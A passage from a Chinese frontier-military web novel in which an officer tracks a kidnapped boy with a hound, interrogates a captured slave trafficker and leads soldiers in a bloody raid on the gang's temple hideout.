“就是一群没良心的畜生!”王槐的眼里淬着寒光,声音压得更低,“草原上的部落缺人干活,每次越境骚扰抢夺粮食,同样也劫掠人口。
这群**狗跟咱们境内的败类勾搭上,专挑青壮、妇孺下手,趁着入冬前偷偷运到草原卖钱。
地方军队、土匪、乡绅都有掺和,屡禁不止。只要给银子,连自家乡亲都卖。大宝这孩子乖巧懂事,突然不见了,怕是被他们盯上了啊!”
老头说到最后,牙咬得咯咯响,尤其是想到大宝还是他亲侄子的独苗,一颗心都揪紧了。
一股森冷的杀意瞬间从秦猛脊梁骨窜上来,攥紧的拳头青筋暴起,这些数典忘祖者该杀!
他猛地抬头扫视围观的人群,厉声喝问道:“堡内这么多双眼睛看着,就没一个人看见王大宝今日去哪儿了?最后见着他的是谁?”
“呜呜…哪位乡亲行行好…谁看见我那苦命的儿了啊?”王寡妇也跟着哭喊,一双红肿的眼睛在人群中急切地扫来扫去,满脸哀求之色。
“没瞅见……”
“今个没出门,不清楚啊……”
可惜,回应声里满是叹息和同情,大多人都摇着头。
就在众人都觉得没指望时,人群后面忽然一阵骚动,一个瘦小的身影奋力从人缝里挤出来。
竟是前段时间招募的流民男孩石头,因为瘦小,看着**岁,脸上还沾着泥灰。他急急忙忙喊道:“管队爷……,我见着大宝哥了!”
“何时何地见着的?”秦猛立刻上前,眼睛紧紧盯着他。
“就今个吃过晌饭那会儿!”石头仰着小脸大声说,带着孩童的急切,“我在河边洗衣服,看见大宝哥拎着个竹篮,还挎着把小铁镐。
一个人急匆匆地往东边那片老松树林子里去了!我喊他问干啥去,他好像没听见,走得飞快。”
“东边松树林?”秦猛心头咯噔一下。
那片林子离得远荒得很,平时除了樵夫很少有人去。
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“不会有错,看那样子…跟我以前去林子里挖冬菇时一个样,他准是想挖点鲜菇回来给他娘尝尝。”石头点点头,用很肯定的语气说。
“石头?好小子!要是能找到大宝,管队爷赏你银子!”秦猛拍了拍石头的小脑袋瓜,随即转身下令。
“老保长,劳您坐镇堡内,让各家各户加强戒备,千万别再出岔子。”
“张富贵!”
“属下在!”人群外传来一声应答,张富贵快步挤了进来。
“速点二十名精锐,披甲带刃,到后堡门待命。另外,谁家有灵醒的**?要鼻子灵、听话的。”
秦猛语速极快,眼神锐利如刀。
“要狗干啥呀?”人群里有人不解地问。
“狗鼻子灵。”秦猛扫了众人一眼,解释道,“老松树林那么大,拿件大宝穿过的旧衣服让狗嗅嗅,它能顺着气味找,这样快得多。”
“对对对!管队爷这主意好!”众人这才恍然大悟。
“前几天少了几条狗,谁家有狗?”
“管队爷,刘瘸子家的大黄最厉害!”人群里立刻有人喊道,“那狗跟着进山打猎,兔子山鸡都能找着。”
“好!”秦猛立刻吩咐,“去请刘瘸子带大黄到后堡门会合。王嫂子!快去拿大宝这两日没换洗的汗衫,越贴身越好,保证把大宝找回来。”
“好,好!俺这就去!”
王寡妇像是抓住了救命稻草,连滚带爬地朝家跑去。
院子里人群立刻散开,各自忙活起来。王保长拄着拐杖急匆匆往衙署赶,安排堡内戒备。
秦猛转身回屋换好铠甲,嘱咐陈月娘,秦小芸安心在家。随后带着几个亲兵赶往后堡门。
等他到了后堡门,张富贵已经领着二十名精壮军汉列队等候,个个身披铠甲、手持兵刃,透着肃杀之气。
没过多久,刘瘸子牵着一条半人高的猎犬奔了过来。这北地犬壮硕,凶猛,浑身毛发金黄。
唤作大黄,耳朵竖着,眼睛炯炯有神,一看就很机灵。
紧接着,王寡妇也跑来了,怀里抱着一件带汗味的粗布褂子。
秦猛好说歹说,劝王寡妇回了家,石头却不肯走,自告奋勇道:“管队爷,我熟路,我带路!”
“行,跟紧点。”秦猛点头,挥手喝令:
“出发!”
一行人朝老松树林疾驰而去。
夕阳西沉,树林显得格外幽深。
秦猛将小褂递到大黄鼻前,它仔细嗅闻后,喉咙低鸣,尾巴摇摆起来。
“大黄,闻仔细了!带我们找相同气味,有肉吃!”秦猛摸摸大黄脑袋,塞给它肉干。
“汪汪!”大黄抖擞精神,拽动绳索朝林里狂吠冲去!
“跟上大黄!”秦猛低喝一声,率先追了上去。
壮汉刘大牛背起大伯刘瘸子,张富贵抱起石头,一行人紧跟大黄,冲进了遮天蔽日的松树林。
第26章 追凶与诱敌
松针层层堆积,厚得如同一条柔软的毯子,铺在林间地面。
腐殖质散发着陈腐气息,在空气中弥漫开来,为这片森林添了几分死寂。林风穿梭其间,发出“沙沙”的声响。
大黄穿梭在林子里,时而低沉、时而高亢的吠叫声,在这寂静中格外突兀,划破了凝固的空气。
大黄凭借着敏锐的嗅觉,一路探寻,深入这片密林。
终于,在一处松针明显被翻开的潮湿洼地处,它停下脚步,开始狂嗅猛吠。
“冬菇,这是大宝掐的冬菇!”小石头眼尖,一眼认出,赶忙蹲下,指着断口新鲜的白嫩菌根喊道。
“我猜的没错,是大宝哥。”
“搜!以这里为中心?”秦猛的声音急促而有力,搜寻范围的骤然缩小,让他精神为之一振。
大黄鼻翼急剧翕动,犹如离弦之箭,朝着林间更黑暗的深处冲去。
湿泥地上,断断续续地出现小巧的脚印以及松针被翻动的痕迹,像是在为众人指引着方向。
当黑暗彻底吞噬了整个森林,一片狼藉的空地,在马灯昏黄的光线中浮现出来。
碎裂的竹篮和零散的冬菇散落泥中,似乎在诉说着不久前的那场混乱。
不远处,一把小铁镐,木柄断了,是被一股恐怖的蛮力硬生生拗断,露出的白茬十分刺眼。
最为关键的是地面,除了王大宝的小脚印,深深嵌着三个大小不同,却是成年男子的大脚印!
“有外人,是掳人!”秦猛心中一沉,仿佛坠入了冰窟,眼中瞬间杀机暴涌,真被王老头说中。
——是大周败类,捕奴团做的!
“该死,这群人该死!”众人红了眼,粗重的喘息声和兵刃出鞘的摩擦声,在死寂的环境中格外清晰,每个人都被愤怒和担忧充斥着。
凌乱的大脚印朝着黑暗森林深处延伸,仿佛是恶魔留下的踪迹。
“希望来得及。”秦猛抓起汗衫,凑到大黄口鼻处,低吼道:“大黄啊大黄,好狗,靠你了!”
大黄低咆一声,猛然朝某方向狂冲。
猝不及防之下,牵绳的军汉被拽得一个踉跄,差点摔倒。
几步之后,几点血滴渗入**的松针,在昏暗中格外醒目,像极了毒蛇吐信。
大黄对着血迹龇牙,喉咙里滚动着愤怒的呜咽。
“追——!”秦猛心头发沉,嘶吼带着无边的寒意,在森林中回荡。
呛啷啷……
刀光乱闪,二十余道披甲身影如同复仇的凶兽,撞破荆棘,追向黑暗中那道黄色的鬼影。
狂奔了小半个时辰后,队伍终于冲出了压抑的松林。大黄停在一处乱石荒草坡下,对着坡上狂吠刨地,像是在告诉众人,目标就在此处。
马灯光圈颤抖着上移,一座早已荒废的破败古庙映入眼帘,蛰伏在黑暗中,散发着阴森的气息。
庙深处似有微弱的火光摇曳,地上的痕迹也直指庙门。
“是那!”有人低呼,声音中带着一丝紧张和兴奋。张富贵及军汉们血灌瞳仁,拔刀就要前扑,恨不得立刻冲进庙中,将敌人**万段。
“停下!”秦猛炸雷般的低吼生生扼住了众人的脚步。秦猛目光如鹰隼般扫视着这片死亡区域。
他冷静地分析着局势:“里面是谁,有多少人一无所知。我们贸然冲进去,那不是找死吗?”
秦猛的话如同一盆冰水,浇在了众人头上,让他们瞬间清醒过来。
张富贵等人冷汗涔涔而下,他们这才意识到自己现在是官兵,冲动可能会带来无法挽回的后果。
“三人脚印只是开始,说明对方是以小队行动,干绑票买卖的能没暗哨?头目是蠢货?”秦猛继续说道,目光紧盯着庙外的乱石草丛。
“大人,那现在怎么办?”刘大牛问道。
“引蛇出洞!”秦猛淡淡地说道,随后耐心讲解:“这些臭老鼠以小队行动,在偏僻处或晚上作案,将计就计,把他们引出来擒拿审讯。”
他猛地看向紧攥自己衣角的小石头,问道:“石头!怕不怕?”
小石头身体一绷,用力摇头,坚定地说:“不怕。五岁爹打**就没了。娘说眼泪最没用,林子我熟,制作陷阱捕猎,抓鱼我都会。”
男孩的声音硬气十足,众军汉听得心头发酸,既佩服他的勇气,又为他的身世感到心疼。
“有种!”秦猛眼中闪过一丝激赏。他蹲下快速解开自己的扎甲,边说:“你装病,肚子疼。我抱你假装急着找郎中,成了请你烤鸡吃。”
他的声音压得极低,生怕被敌人听到。
小石头眼睛发亮,重重点头,对这个计划充满了期待。
张富贵等人臊得脸热,觉得自己还不如一个孩子勇敢冷静。
秦猛卸甲露出布袄,将柴刀插入后腰,做好了战斗的准备。他抱起“病蔫蔫”的小石头,命令张富贵:“熄灯,谁敢乱动,老子回头抽死他!”
他的语气严厉,如军营训练时那般,不容置疑。
秦猛深吸寒气,流露出“焦急父亲”的惶急,踉跄走向河边黑暗,嘴里喊道:“石头挺住,找郎中啊!”
小石头在他怀里软塌塌地哼唧着,配合得十分默契。
微弱的灯光照出脚下的乱石枯苇,却照不透河岸嶙峋的怪影。
秦猛借灯光疯狂扫视暗处,不放过任何一个细节。他抱着石头刚试探迈向一片枯苇浅滩——
突然,三条鬼影如毒蝎般暴起,从左侧洼地枯苇丛中窜出。一人仍套索兜头罩向两人,一人手持黢黑的短棍,无声狠捅秦猛后脑勺,
石后还跳出一人,狞笑着说:“嘿嘿,肥羊上门。”
“找死!”秦猛杀意轰然喷发。他抱着小石头身体诡异后折反弓,如同一只敏捷的猎豹。套索擦肩扫空,短棍贴腰滑过,避开了敌人的攻击。
弯腰瞬间,小石头被稳稳卸入厚草。
石头按计划,像狸猫般翻滚,藏进巨石黑影之中,动作迅速而熟练。目标泥鳅脱钩让袭击者瞬间凝滞,他们没想到秦猛的反应如此迅速。
秦猛左脚钉死地面,拧腰转髋,巨力贯注右臂。反手柴刀撕裂黑暗,发出鬼哭般的尖啸。
“铛——!”火星迸溅,金铁交鸣之声
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刺耳。持棍汉子虎口剧痛,棍子几乎脱手,脸上露出惊恐的神色。
持绳汉子惊骇失神,还没等他回过神,一道巨大身影已至眼前。
秦猛铁钳般的大手死死扣住其腕骨,随后柴刀精准刺入其喉下。“嗬…嗬…”喷血漏气声取代了惨叫,持绳汉子瞪大双眼,缓缓倒下。
另一持棍者亡魂大冒,转身扑向河草,试图逃跑。
噗哧一声响,一把柴刀破空声袭来,锋利的刀口切入对方的后脖子,秦猛大步从他身边掠过,手中横刀噗哧一声,将他砍翻在地上。
他动作太快,与那个拿着麻袋的人迎面相逢。飞起一脚,将他踹翻,纵身扑上,按倒在地。
“说!哪路的?”秦猛的声音低沉如地底寒流,带着不容抗拒的力量。同时手腕猛力一错一掰!
“咔嚓!”骨头碎裂的清晰声响伴随着撕心裂肺的惨叫。
“啊——!”
“再叫?下一刀就是脖子。”冰冷的横刀刃已经抵在了伤者的喉结上,瞬间掐灭了所有惨叫,只剩因剧痛和恐惧而失控的粗重喘息。
“我问,你答。”秦猛的目光死死锁住被制住的断腕者。
“饶…饶命…大…大侠…”断腕者疼得涕泪横流,几乎晕厥,被那冰冷刺骨的杀气压得肝胆俱裂。
“小…小的们…是…是给‘虎爷’做…做活的…”
“‘虎爷’?做什么活?”秦猛刀刃微微下压。
“抓…抓人…抓…抓‘肉羊’(奴隶)…卖给…卖给河对岸…女真贵族老爷…女**…就…就喜欢咱们汉奴…说咱…听话,会伺候人…”
“你给老子说详细点。”秦猛眼中寒光闪烁,声音如冰河刺骨,凶恶犹如暴徒:“抓了多少羊?漏半个字,说假话,老子发誓活剐了你。”
“饶…祖宗啊…我们这次有四十多人,卖给河对岸图鲁木部女真老爷…他们给…给高价…”俘虏魂飞魄散,裤裆里暖烘烘的竟然吓尿了。
“虎爷在哪儿?”秦猛厌恶地皱眉,继续逼问。
“两里…那塌庙…女真姥爷来人确认,今夜…有图鲁木部骑兵来接货!”俘虏颤抖着回答。
“庙里几人?”
“三…三个图鲁木部的…是三个剃头扎辫子的硬茬…一个管事…虎爷守着…还有三十多个兄弟…数十头羊…铁笼…后殿墙角…八个硬手看守…”
刀锋逼压下,他语无伦次地倒豆子般说出了庙里的情况。
“‘虎爷’啥样?”
“独…独眼…左眼瞎…刀疤斜劈脸…腰挂镶骨头弯刀…”
“女真狗的位置?
”“前殿…破桌子后火堆…喝酒…”
“今天是不是抓了个男孩?”
“没错,说是南河堡的,虎爷大骂不该招惹边堡……”
秦猛确认了,低喝:“石头。”
“在!”巨石后身影窜出,提稳马灯。
秦猛掐住俘虏后颈,拖死狗般拽起。
“回去”两人原路返回林中。张富贵立刻接手俘虏,拖入深处。拳脚闷响与绝望哭嚎在黑暗中响起,众人开始对俘虏进行进一步的审问……
第27章 诱敌巧突袭
“那破庙门口,有哨卡?”
秦猛的声音压得极低,像磨过砂石的铁刃。他捏着断腕者脖颈的手指微微收紧,对方喉结剧烈滚动,疼得额头青筋暴起,冷汗顺着鬓角往下淌。
“就…就一个…在…在庙门前面……”断腕者声音抖得像风中残烛,眼角余光瞥见张富贵等军汉狞笑、凶狠的目光,后背瞬间沁出冷汗。
他哪见过这般审讯?先前秦猛的盘问不过是小儿科,此刻,**不保的阴影正死死笼罩着他。
——这群大字不识几个的糙汉子拿着木棍怼。还有个豆丁大的小家伙贼兮兮地递来尖锐石头。
在这种高危震慑之下,没有硬汉!
约莫一刻钟的审讯,秦猛等人终于拼凑出完整的情报:
深夜时分,河对岸的女真骑兵将借着夜色越境,与破庙中的捕奴团汇合,展开肉羊交易。
这些畜生不仅贩卖同胞,更充当女真探子,提供附近哪些村房防御力弱等,简直罪该万死。
简单商议过后,刘大牛带着刘瘸子和石头借着夜色掩护返回军堡,务必让全堡做好迎敌准备。
而秦猛则率剩余人马,趁着月黑风高展开营救行动。
“你们这些败类,贩卖同胞是死罪。”秦猛拇指碾过对方颈动脉,感受着那微弱却急促的搏动。
“乖乖配合,将功补过还能立功保命,本官保证不杀你。你还想得救与逃脱,是痴人说梦。
说实话,不然老子把你送进边军大牢,让你尝尝千刀万剐的滋味。那里关押的都是疯子,可不在乎你是男是女,在无尽折磨里活活疼死。”
死亡的寒意顺着脊椎爬遍全身,断腕者瞬间破防,连滚带爬地改口:“大人饶命。虎爷特意加派了人手,有两个哨卡,一明一暗盯着外面…”
秦猛盯着破庙方向闪烁的火光,捏着断腕者喉咙的手像拎着只脱毛的鸡:“继续,庙里有火,而且老子闻到了一股肉香味,不说就死。”
哐啷,张富贵等人拽出环首**。
一个叫庞仁的汉子更是拎着木棍来到俘虏的身后,怪笑。
断腕者疼得眼前发黑,拼命夹紧菊花,在双重威胁下哪还顾得上什么同伙,小鸡啄米似的点头求饶:“小的全说。庙里燃起篝火,烫了酒,烤了羊,虎爷说要招待招待女真贵…**。”
“现在,给我演戏。”秦猛松开手,让对方有喘息之机,转头又看向张富贵等人,调教道。
“记住,无论是对付这种杂碎,还是以后与敌人交战。摸清情况,知己知彼,再用任何手段削减敌人实力,突袭胜算更大,损失更小。”
“是!”众军卒齐声应道,眼神里燃起兴奋的战意。
秦猛押着俘虏缓缓向前,柴刀贴着对方耳朵划过,冰冷的刀锋让断腕者双股战战h牙齿打颤。
“快喊帮忙,就说抓到肥羊了,这趟大赚。尤其要提碰到细皮嫩肉的女人,声音给我装得像点!敢耍花样,老子直接让你**。”
断腕者魂飞魄散,慌忙夹紧双腿,用尽平生力气扯着嗓子嘶吼,语气里透着拙劣却急切的得意。
“哈哈哈……快给我走。兄弟们,这晚上没有白守。买卖成了,抓到几个好货色,快来帮忙啊!大肥羊,还有个水灵娘们,麻溜的……”
秦猛抬脚踹了他屁股一下,自己则压着嗓子,模仿出女人惊恐哭喊的颤音。那声音在寒风里飘得忽远忽近,带着撕心裂肺的绝望:
“啊…救命…呜呜…放过我。”
“大爷饶命啊…啊,好冷…别过来…别撕我衣裳…”
张富贵等人看得瞠目结舌,呆呆地看着这一幕,谁也没想到自家管队官竟能学出这般逼真的女声,
连断腕者都惊得忘了出声,如同看到鬼一般瞪着秦猛。
土庙内。
“咦?听着像是老六那边?”
庙门后放哨的汉子猛地直起身,短棍在手心敲得邦邦响:“这是抓了几只大活羊?还有个娘们?”
“嘿嘿…去看看。”草垛里的暗哨窸窣爬起,声音里带着警惕:“小心点,别是点子扎手。”
“来了来了,别鬼叫了!”两个汉子提着短棍骂骂咧咧地循声走来,刚转过庙墙拐角就愣住了。
“老六?黑皮?人呢?”
他俩话音未落。
一道黑影如风影里窜出的毒蛇,比声音还快。
是秦猛箭步冲来,右手柴刀寒光一闪,干脆利落地抹过当先那汉子的脖子,伤口深可见骨。
对方脖子猛地歪向一边,热血哗啦一下喷了满地,在月光下泛着诡异的红。
“啊……”后面的人刚张嘴想叫,秦猛眼疾手快,沙包大的拳头已带着风声砸中他的喉结。
“咔嚓”一声脆响,喉骨碎裂的声音在寂静夜里格外清晰。
汉子的叫声卡在喉咙里,只剩嗬嗬的漏气声,双腿一软就倒了下去。
秦猛上前一步,膝盖顶住他的胸口,双手抓住脑袋猛地一拧,颈骨断裂的闷响彻底终结了他的挣扎。
几乎眨眼之间,两人就被击杀。
“好快!”张富贵等军卒准备扑过来,却见战斗结束。一个个满脸震惊,或敬佩地看着秦猛。
自家管队官出手太快了,且致命。
断腕者趴在地上,趁着秦猛动手的空档连滚带爬想逃,刚直起身子,却被张富贵发现。“找死!”
张富贵一脚将他踹翻在地,铁靴死死踩住他的后背。
“你这家伙还想着逃跑?信不信扒了你的皮!”<
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br>“原来你叫做老六啊!”秦猛走过来,用脚尖踢了踢俘虏的脸,疼得对方嗷嗷直叫,他却笑出了声,“真有做老六的潜质,这本事不错。”
“呜呜……大侠,军爷,我错了,我已经带路了!”老六涕泪横流,声音哽咽得像吞了沙子。
“就把我当屁放了吧!我再也不敢了!”
此刻,老六快要崩溃了,心中把白天抓军堡男孩的伙伴骂了千遍万遍。就是因为抓了不该抓的人,才惊动边边陲戍堡惹来这群煞星。
他仿佛已经看到管事虎爷发怒,脸上刀疤蠕动的样子,可眼下的处境比面对虎爷要凶险百倍。
“秦某说话算话。”秦猛蹲下身,柴刀拍了拍他的脸,语气“语重心长”,眼神却冷得像冰。
“只要你配合好,不仅放你走,还送你钱财做买卖。做点小本生意,不比这吊脑袋的勾当强?”
只是那染血的柴刀离老六的眼睛不过寸许,任谁都看得出这“和善”背后的杀意。张富贵等军汉心领神会,自家管队官不会放过这种败类。
“走你。”秦猛半拉半拽着老六,往破庙正门走去:“叫开门,再引两个出来,就等着分钱吧。”
老六被刀刃顶在后腰,只能扯着嗓子嘶吼,声音抖得发颤:“**,冻死老子了。买卖成了,快开门……”
“开门开门……”秦猛附和着,用脚踹了一下门。
“老六?来了……”庙内传来脚步声,门栓“嘎吱”转动,接着庙门开了条缝,两人出来接应。
秦猛猛地发力,将老六像抛麻袋般朝庙门推去。
“噗、噗!”两道刀光如黑电划破夜色,张富贵与另一名军汉从阴影闪出,一左一右精准抹过两人咽喉。
鲜血瞬间从指缝喷涌,两人瞪圆的眼里还残留着错愕,嘴巴蠕动却发不出声,身体软软瘫倒。被张富贵和军汉托住,迅速拖入暗处。
“接着喊。”秦猛揪过老六,刀刃贴紧他脖颈。
“**,快来人搭把手啊!这次肥羊多着呢!”
“来了……”更深处传来回应,脚步声由远及近。
“老六、黑皮,就你们这队最晚,逮了多少肉羊?”调侃声中,五条持刀汉子走出庙门。
然而,迎接他们的不是肥羊,而是老六引来的利刃。
——潜伏的军汉们抡刀扑上,刀锋起落间已将几人砍翻。
“啊……”半声惨叫刚起,就被秦猛的怒喝盖过:“**,磨磨蹭蹭作甚?给老子滚进去。”
第二批人在骂声中被斩杀,庙内的虎爷等人毫无察觉。老六看得泪如雨下,秦猛这随机应变,这手法娴熟得像个老手,让他遍体生寒。
他很想问一句:“哥,咱是不是同行?”
第28章 贼巢喋血夜
“那个老六,继续……”
张富贵、庞仁等军汉看着七具尸体悄无声息地倒在阴影里,眼底都燃着兴奋的光,压低声音催促着。
这种战术好,不费吹灰之力,便解决掉两批敌人,他们只觉得浑身热血沸腾,愈发渴望起来。
“糊涂!”秦猛猛地回头,冷喝一声如冰水浇头。
他手上同时发力扼住老六的脖子,对方刚要扯开嗓子喊话,瞬间被掐得喉咙里只剩“嗬嗬”的漏气声,脸色瞬间涨得通红像块猪肝。
“兵法里说‘凡事不过三’,人家又不是傻子。”秦猛眼神锐利如刀,扫过满脸热烫的军汉们。
“换作是你们,接连看到队友出去接应却没动静,会不起疑心?再用这招就是自投罗网。”
张富贵等人顿时哑火,一个个垂着头不敢吭声,方才的兴奋劲儿全被浇灭了。
庞仁挠了挠头,小声问道:“大人,那…那该怎么办?”
“出其不意,攻其不备。这个时候,时机刚刚好,冲进去杀他个措手不及。”秦猛话音未落,右手拔出横刀,已经推搡着老六往庙里冲。
他手腕一松,同时低声警告:“敢乱喊就拧断你的脖子!”
老六吓得魂飞魄散,只能被他半推半拽地往前挪。秦猛回头瞪向众人,声音里带着狠劲:“我先上,你们紧跟着。庙里撑死三十人,你们二十多个带甲汉子要是拿不下,就别怪老子无情,都卷铺盖滚蛋,去种田挑大粪。”
“哈哈哈,今晚的肉羊可真肥!”秦猛突然扯开嗓子,用粗嘎豪放的嗓门喊着,一脚踹开半掩的破门,如同一尊杀神推着老六猛地撞入庙。
庙门内的狭窄前庭里,两处篝火噼啪跳动,七八个汉子正围着篝火大嚼羊肉、狂灌劣酒。
见陌生人撞入,他们瞬间惊跳如炸毛的野狗,边大声咒骂,朝手忙脚乱去摸身侧的刀棍。
“放肆,老六,他们是谁?”
“就是现在!”秦猛一脚将遮挡的老六踹向最近的持刀者,自己一马当先,如旋风般扑向左侧两人。
横刀在狭窄空间里暴起寒光,没有花哨招式,只有最直接的劈、砍、刺、撩。
刀光闪过,第一个汉子的手腕被齐腕斩断,惨叫未落已被秦猛肘击撞碎鼻梁,软倒在地。
第二个汉子举棍格挡,秦猛手腕翻转,柴刀却从对方的腋下切入,顺势旋身抽出,鲜血混合内脏碎块喷溅满地,在火光映照下泛着猩红。
“杀,杀光这些**的畜生!”
张富贵率领铁甲军汉如猛虎扑食,三五成阵结成战阵——刀盾手在前硬抗,长刀手在后补刀,铁甲铿锵作响,如钢铁洪流般碾压而上。
“杀!”秦猛哈哈狂笑,借着火堆掩护侧身滑步,躲开右侧劈来的短刀,反手一刀背砍中对方膝盖。
“咔嚓”骨裂声响起,汉子跪地的瞬间,秦猛刀刃已抹过他的脖颈。
不到几个呼吸,又有两个打手倒在血泊里。剩下的几个也被张富贵等着一拥而上,乱刀剁翻。
“混账,怎么回事?”
“虎爷,是敌袭…,快,抄家伙!”
正殿的动静骤然响起,十多个打手从偏厅里冲出来,手里握着刀棍嗷嗷怪叫。张富贵带人迎面撞上,盾牌与人体相撞发出沉闷的巨响。
刀光棍影瞬间交织成一片。一个打手刚挥棍砸中盾牌,就被盾牌后的军汉一刀刺穿小腹。
另一个想从侧面偷袭,却被斜刺里闪出的军汉砍中大腿,惨叫着摔倒在地,接着,一条**从盾牌缝隙中透出,直接扎穿他的胸膛。
“迅速推进,杀!”张富贵和庞仁一人率领十人队列阵,保持阵形,紧跟着秦猛向正殿冲杀。
这些军汉经过这段时间的苦练,配合初步有了默契。而眼前这场冲杀,就是最好的实战。
前排盾撞敌阵,后排刀枪补杀,配合默契如臂使指。秦猛更是如箭头般撕开防线,对付这些乌合之众如砍瓜切菜,转瞬便杀进正殿。
这里同样有篝火,七八个人,打手们满脸恐慌。
三个穿着皮袍、头顶剃光只留两侧小辫的女**刚抓起弯刀,就被铁甲军队冲进来吓懵了。
“该死,是大周边军。”最年长的女**气急败坏。
“啊!**!”为首的独眼“虎爷”反应最快,他脸上带着一道从眉骨到下巴的刀疤,此刻狰狞扭曲,厉吼着挥刀冲来,扑向最前面的秦猛。
但秦猛更快!
他砍翻挡路的打手同时,猛地蹬地,整个人化作残影撞来,一抹刀光再起,如死神之吻!
“铛!”虎爷的弯刀被横刀带着的巨力荡开,火星四溅中,他双手虎口瞬间撕裂,鲜血直流。
“死!”秦猛顺势贴身,左手如铁钩扣住他持刀的手腕,右膝带着风雷之声,顶向其肋下。
“咔嚓!”数根肋骨断裂的脆响伴随着虎爷撕心裂肺的惨叫,他整个人像破麻袋般弓起身子。
一个女**刚举刀,秦猛反手甩出腰间柴刀,这把舍不得被他放弃的厚重柴刀,如毒蛇吐信。
“噗哧”一声精准切入他的脖颈,鲜血喷了火堆一脸,火苗“腾”地窜高半尺,将周围染得一片通红。
左侧一个女**怪叫着,挥刀砍来,秦猛已从小腿拔出牛耳尖刀,从刁钻角度斜撩而上。
“嗤啦!”弯刀落地,半条手臂带着血雨飞起!女**捂着断臂惨嚎翻滚,秦猛上前一步,刀尖刺入他心口狠狠搅动,了结了他的痛苦。
最后一个女**彻底吓破了胆,转身想翻窗逃跑。
秦猛如同背后长眼,反手掷出横刀。
“呜——噗!”**带着呼啸钉入女真**后心,巨大的冲击力将他钉在破桌上,四肢抽搐几下便不动了。
太凶、太快、太狠!
张富贵,庞仁等人不是第一次看到秦猛动手,可近距离直观这种场面,依旧是心头震撼。
这就是自家管队的实力?
**不费吹灰之力。什么被吹上天的女真勇士,不堪一击。
“杀!”这时,后殿杀声一片,八个魁梧高大的汉子冲来,他们身穿旧皮甲,手持刀枪,气势汹汹,见到虎爷在地上惨叫,气势瞬间一滞。
“**他们!”然而,众军汉回过神来。张富贵
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扯着破锣般的嗓子大吼,二十多人涌杀过去。
二十多个正规边军,身披铁甲的壮汉,如同一道钢铁洪流碾过,对上八个衣甲不齐的打手。
胜负,从一开始就没了任何悬念。
几乎是双方刚一接触,铁甲军卒盾牌率先迎上。打手们要么刚举起武器就被撞得倒飞出去,要么连对方的脸都没看清,就被砍翻在地。
没有像样的抵抗,更没有僵持的余地,不过瞬息之间,原本还算整齐的队形便彻底崩散。
“啊——!”
“救命!”惨叫声像被踩破的水泡般接连炸开。
很快,捕奴队硬手就被冲散。
庞仁带着七八个军汉留在正殿,张富贵率队追杀。
死寂!
破庙里只剩火焰燃烧的噼啪声,血腥味浓得呛人,与火堆的烟火混在一起,形成一种令人作呕的气息。
秦猛连番爆发有些脱力,额头渗出细密的汗珠。捡起那把后背柴刀,看了眼横刀上的缺口。
这可是帅司送来任命文书时,给军官的配刀。
他走到只剩一口气的虎爷面前,捡起对方掉落的腰刀。这把刀入手沉重,雪亮刀身有着锻打云纹,寒光闪闪,比横刀锋利,显然是好刀。
“你敢杀我?我大哥不会放过你……”虎爷见秦猛持刀走来,边蹬腿向后爬,边还想放狠话。
只是话还没说完,就被秦猛一刀狠抽中脑袋,砰的后脑砸在地面上,双眼翻白,晕了过去。
“快,打扫战场,再抓几个活口,分开拷问情报。”秦猛大声下令,庞仁等军汉应声行动。
秦猛用虎爷的腰带把他手脚捆绑,再堵住嘴。顺手收走女**的弯刀、腰刀和行囊里的银锭。
庞仁带队迅速打到战场,揪住没死的家伙审讯。一番搜刮下来,竟收获了五百多两银子。
一个女**皮囊却有三百两金珠,千两银子。多半是从虎爷等人手头上购买奴隶所需。看来这群杂碎干了不少这种伤天害理的勾当。
秦猛还从虎爷怀里摸出两张面额百两的银票。腰间,一块精美的玉佩,玉质温润,价值不菲。显然不是普通人能拥有,这虎爷有点来头。以及一把钥匙,也不知道有什么作用。
“喏,老六,这些是你的。”秦猛将几十两银子丢在老六面前,眼神冰冷如霜:“拿着做点小本买卖。以后再让老子碰到你做这勾当,死路一条。”
“谢大爷不杀之恩!”老六哆嗦着磕头,用破衣服裹着银子,连滚带爬地往庙外跑,头都不敢回。
然而,他刚跑出几步,就被一条伸来的长腿绊倒在地。
“管队官说不杀你,就不杀你。可俺庞爷可没说!”庞仁抹了一把脸上的鲜血,狰狞地扑上前。
“贩卖同胞的败类,留你何用?”
“他要杀你,我可管不着。”秦猛露出无奈的笑。
老六这才醒悟过来,秦猛根本没打算放过他。他脸上瞬间露出狰狞之色,指着秦猛骂道:“无耻,你言而无信,说话如放屁,不得好……”
话还没说完,庞仁的刀已劈落,彻底断绝了他的声音。
第29章 虎穴营救
“呸!”
秦猛从未想过饶恕老六,默许庞仁行凶,对着死不瞑目的家伙啐了一口:“为了活命降了**,老子捏着鼻子也就忍了,放了无妨。
可你们这群狗东西,把自己同胞当货物卖掉,专祸害自己人,干这生儿子没**的勾当。你们这种杂碎,能改吗?改不了,只有**。”
他眼中寒光凛冽,像塞外的风刀子。
没亲手结果这家伙,已是说话算话,是最后的仁慈。
这时,殿门“砰”地被撞开。负责追剿残余的张富贵闯了进来,浑身浴血,肩上挂着半截肠子。
“管队官!找到了!”他喘着粗气:
“找到了,后殿,二十几辆囚车,塞了几十号乡亲,男女老少都……有大宝,活蹦乱跳的!”
说着要他咧嘴笑了,可那满脸横肉,混着血污,样子愈发狰狞,活脱脱像尊地狱里的煞神。
秦猛心头一松,手腕一抖,“锵”地将腰间横刀还鞘,提起缴获的弯刀大步流星就往后院去。
“庞队长,把这碍眼的玩意儿拖走,地上半点血星子也不准留。”
“是……啊?”庞仁下意识挺胸应声,后半句却让他眼珠子差点瞪出来。瞅着那遍地狼藉、血肉模糊,鲜血横流,一张圆脸皱成了苦瓜。
“刘大头,杵着挺尸呢?赶紧带人收拾了。”这位庞队长反应极快,一脚踢向发呆的壮汉。
刘大头一个激灵,眼珠子转得飞快,立刻甩锅给那群前不久还是流民的新丁:“你们新来的,队长发话,耳朵聋了?动手,收拾干净喽!”
“队长您下手忒快了。”机灵鬼唐****戳着老六圆睁的眼球:“该让他刷干净地再咽气嘛!”
“没错,就是…”几个年轻军汉互相挤眉弄眼。
“**,废什么话?”庞仁瞪眼喝骂。
“手脚麻利点,管队爷回来瞅着不爽,今晚大家伙都别想消停!”
一群人骂骂咧咧,手忙脚乱地开始清理那血腥的烂摊子……
……
秦猛大步闯入后殿,篝火劈啪作响,勉强驱散着浓重的黑暗与骚臭味。
左边角落是临时牛棚,草料堆得半满,栓着三十多匹驮马,十多匹四肢粗壮的草原好马。
